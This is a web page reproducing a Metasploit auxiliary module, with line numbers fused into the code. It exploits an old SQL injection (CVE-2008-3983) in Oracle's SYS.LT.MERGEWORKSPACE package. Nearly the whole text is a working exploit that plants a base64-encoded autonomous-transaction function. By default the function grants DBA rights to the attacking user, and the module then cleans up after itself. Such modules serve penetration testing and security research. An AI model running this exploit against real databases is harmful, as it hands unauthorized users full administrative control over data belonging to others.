Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle DB SQL Injection via SYS.LT.MERGEWORKSPACE',11'Description' => %q{12This module exploits a sql injection flaw in the MERGEWORKSPACE13procedure of the PL/SQL package SYS.LT. Any user with execute14privilege on the vulnerable package can exploit this vulnerability.15},16'Author' => [ 'CG' ],17'License' => MSF_LICENSE,18'References' =>19[20[ 'CVE', '2008-3983'],21[ 'OSVDB', '49325'],22[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ],23[ 'URL', 'http://www.dsecrg.com/pages/expl/show.php?id=23' ]2425],26'DisclosureDate' => '2008-10-22'))2728register_options(29[30OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),31])32end3334def run35return if not check_dependencies3637name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)38rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)39rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)40rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)41cruft = Rex::Text.rand_text_alpha_upper(1)4243function = "44CREATE OR REPLACE FUNCTION #{cruft}45RETURN VARCHAR2 AUTHID CURRENT_USER46AS47PRAGMA AUTONOMOUS_TRANSACTION;48BEGIN49EXECUTE IMMEDIATE '#{datastore['SQL']}';50COMMIT;51RETURN '#{cruft}';52END;"5354package1 = %Q|55BEGIN56SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');57END;58|5960package2 = %Q|61BEGIN62SYS.LT.MERGEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');63END;64|6566uno = Rex::Text.encode_base64(function)67dos = Rex::Text.encode_base64(package1)68tres = Rex::Text.encode_base64(package2)6970sql = %Q|71DECLARE72#{rand1} VARCHAR2(32767);73#{rand2} VARCHAR2(32767);74#{rand3} VARCHAR2(32767);75BEGIN76#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));77EXECUTE IMMEDIATE #{rand1};78#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));79EXECUTE IMMEDIATE #{rand2};80#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));81EXECUTE IMMEDIATE #{rand3};82END;83|8485clean = "DROP FUNCTION #{cruft}"8687# Try first, if it's good.. keep doing the dance.88print_status("Attempting sql injection on SYS.LT.MERGEWORKSPACE...")89begin90prepare_exec(sql)91rescue => e92return93end9495print_status("Removing function '#{cruft}'...")96prepare_exec(clean)9798end99end100101102